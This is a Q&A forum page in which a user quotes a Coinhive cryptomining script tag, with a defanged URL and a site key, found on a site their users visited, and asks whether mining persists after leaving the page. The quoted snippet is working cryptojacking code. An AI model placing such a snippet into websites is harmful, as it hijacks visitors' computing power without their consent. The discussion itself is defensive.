Site with a bitcoin miner script

javascript web malware
user92592 picture user92592 · Sep 28, 2017 · Viewed 22k times · Source

I found some of my users visiting a site that seemed to have a Bitcoin mining JS script in its code: 

<script src = "hxxps://coin-hive.com/lib/coinhive.min.js"></script><script>
var miner = new CoinHive.Anonymous('3858f62230ac3c915f300c664312c63f');
miner.start();
</script>

My question is, with this are the users still infected even if they navigate away from the page? Do these sort of programs only work while the user has the page open in the browser?

Answer

ErisoHV picture ErisoHV · Sep 28, 2017

with this are the users still infected even if they navigate away from the page?

No

Do these sort of programs only work while the user has the page open in the browser?

Yes, the script will only run on the website that includes it, while the page is open in the browser

UPGRADE:

More information about this script: https://coin-hive.com/

Coinhive offers a JavaScript miner for the Monero Blockchain (...) that you can embed in your website. Your users run the miner directly in their Browser

And https://coin-hive.com/documentation/miner

The miner runs until you explicitely stop it again or the user navigates away.

Related questions

Cannot open local file - Chrome: Not allowed to load local resource

Test browser: Version of Chrome: 52.0.2743.116 It is a simple javascript that is to open an image file from local like 'C:\002.jpg' function run(){ var URL = "file:///C:\002.jpg"; window.open(URL, null); } run(); Here is my sample code. https://…

Read More
Cannot read property 'push' of undefined when combining arrays

When pushing an array's contents to another array I get "Uncaught TypeError: Cannot read property 'push' of undefined" error in this snippet. var order = new Object(), stack = []; for(var i=0;i<a.length;i++){ if(parseInt(a[i].daysleft) == 0){ …

Read More
How can I make the browser wait to display the page until it's fully loaded?

I hate how you can actually see webpages load. I think it'd be much more appealing to wait until the page is fully loaded and ready to be displayed, including all scripts and images, and then have the browser display …

Read More